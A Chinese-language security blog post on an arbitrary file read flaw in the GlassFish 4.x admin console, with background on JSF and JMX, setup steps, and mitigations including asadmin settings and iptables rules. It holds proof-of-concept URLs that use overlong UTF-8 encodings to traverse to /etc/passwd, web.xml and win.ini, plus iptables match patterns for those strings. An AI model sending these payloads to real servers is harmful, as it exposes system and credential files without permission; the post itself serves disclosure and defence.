天天看點

應用伺服器Glassfish任意檔案讀取漏洞

應用伺服器Glassfish任意檔案讀取漏洞

catalogue

1. 前言和技術背景
2. Glassfish安裝配置
3. 漏洞利用
4. 漏洞緩解(修複)      

1. 前言和技術背景

0x1: GlassFish是什麼

GlassFish 是用于建構 Java EE 5 應用伺服器的開源開發項目的名稱。它基于 Sun Microsystems 提供的 Sun Java System Application Server PE 9 的源代碼以及 Oracle 貢獻的 TopLink 持久性代碼。該項目提供了開發高品質應用伺服器的結構化過程,以前所未有的速度提供新的功能。這是對希望能夠獲得源代碼并為開發 Sun 的下一代應用伺服器(基于 GlassFish)作出貢獻的 Java 開發者作出的回應。該項目旨在促進 Sun 和 Oracle 工程師與社群之間的交流,它将使得所有開發者都能夠參與到應用伺服器的開發過程中來

0x2: JSF是什麼

JSF ,java Server Faces, 他與struts一樣都是web應用架構,但是他們的本質差別在于, struts隻是單純的MVC模式架構,而JSF是一種事件驅動型的元件模型

應用程式的開發有兩種B/S(浏覽器/伺服器)和C/S(用戶端/伺服器端),JSF就是将C/S開發中的界面引入了B/S開發中,然後為界面上的每一個控件都提供事件偵聽器。通過JSF,可以在網頁上使用WEB元件來捕獲使用者行為産生的事件.使用JSF開發web程式将與開發swing程式類似,可以拖放控件

0x3: JMX是什麼

JMX(Java Management Extensions)是一個為應用程式植入管理功能的架構。JMX是一套标準的代理和服務,實際上,使用者可以在任何Java應用程式中使用這些代理和服務實作管理

JMX是一種應用程式設計接口,可擴充對象和方法的集合體,可以用于跨越一系列不同的異構作業系統平台、系統體系結構和網絡傳輸協定,靈活的開發無縫內建的系統、網絡和服務管理應用它提供了使用者界面指導、Java類和開發內建系統、網絡及網絡管理應用的規範。

管理對象是JMX應用程式的核心。JMX結構包括:支援Java的Web浏覽器使用者接口,管理運作子產品ARM(Admin Runtime Module)和應用。這三個部件之間通過RMI(Remote Method Invocation)進行通信。這裡需要說明的是,RMI是使得一個Java虛拟機(JVM)上運作的程式可以調用遠端伺服器上另一個JVM總的對象。

使用者接口用來釋出管理操作,這些操作可以間接的通過浏覽器或通過單獨的應用程式來激發。管理運作子產品用來給應用提供執行個體化的管理對象。它包括Agent對象接口,通知接口和被管資料接口。應用指的是那些被管裝置單元。

JMX是一個完整的網絡管理應用程式開發環境,它同時提供了:廠商需要收集的完整的特性清單,可生成資源清單表格,圖形化的使用者接口;通路SNMP的網絡API;主機間遠端過程調用;資料庫通路方法。

JMX這一輕型的管理基礎結構,價值在于對被管理資源的服務實作了抽象,提供了低層的基本類集合,開發人員在保證大多數的公共管理類的完整性和一緻性的前提下,進行擴充以滿足特定網絡管理應用的需要

Relevant Link:

http://www.xuebuyuan.com/1865382.html      

2. Glassfish安裝配置

unzip glassfish-4.1.1*zip 
glassfish4/bin/asadmin start-domain 
Go to http://localhost:4848      
https://java.net/projects/glassfish/sources/svn/show/trunk/main/appserver/admingui/webui-jsf-suntheme-plugin-l10n/src/main/resources/com/sun/webui?rev=64241
http://www.1maven.com/classname-packaging?query&cl=ThemeServlet&pk=com.sun.webui.theme&pg=1&a=&s=#t_
https://glassfish.java.net/download.html      

3. 漏洞利用

0x1: POC1(..編碼)

http://localhost:4848/theme/META-INF/png%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd      

0x2: POC1(/編碼)

http://localhost:4848/theme/META-INF/..%c0%afMETA-INF%c0%af..%c0%af..%c0%af__admingui%c0%afWEB-INF%c0%afweb.xml
http://localhost:4848/theme/META-INF/prototype%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwindows/win.ini      

4.1.1把 %c0%ae = . 修複了,但是%c0%af = /沒過濾

http://mp.weixin.qq.com/s?__biz=MzAwNTYwMjM3Mw==&mid=401676448&idx=1&sn=27231eed275dccdeb8c44e1cc6ac1f9a&scene=2&srcid=0114QPY75arMj4necv5moRY0&from=timeline&isappinstalled=0#wechat_redirect
http://www.wooyun.org/bugs/wooyun-2010-0144595      

4. 漏洞緩解(修複)

0x1: 關閉遠端管理

關閉遠端管理,關閉後隻允許本地通路,會提示要求輸入使用者名和密碼,開發環境或者對伺服器安全要求較高的環境可以選擇這麼做,修改該設定後應該重新開機GlassFish服務

./asadmin change-admin-password
./asadmin disable-secure-admin
./asadmin stop-domain 
./asadmin start-domain 

asadmin.bat change-admin-password
asadmin.bat disable-secure-admin
asadmin.bat stop-domain 
asadmin.bat start-domain       

需要注意的是,關閉遠端通路隻能禁用遠端login登入,但是攻擊url還是可以通路,任意檔案讀取依然存在

0x2: Iptables規則

iptables -I INPUT -p tcp --dport 4848 -m string --to 120 --algo bm --string '..\%c0\%af' -j DROP  
iptables -I INPUT -p tcp --dport 4848 -m string --to 120 --algo bm --string '\%c0\%ae/' -j DROP  
iptables -I INPUT -p tcp --dport 4848 -m string --to 120 --algo bm --string '../' -j DROP   
//該規則無法防禦HTTPS SSL方案      

0x3: 禁用web.xml theme映射

\glassfish4\glassfish\lib\install\applications\__admingui\WEB-INF\web.xml

重新開機glassfish後生效

http://blog.csdn.net/joyous/article/details/8008870
http://blog.csdn.net/myjlvzlp/article/details/8009885
http://book.51cto.com/art/200904/120804.htm
http://www.netfilter.org/documentation/HOWTO/netfilter-extensions-HOWTO-3.html
http://blog.nintechnet.com/how-to-block-w00tw00t-at-isc-sans-dfind-and-other-web-vulnerability-scanners/      

Copyright (c) 2016 LittleHann All rights reserved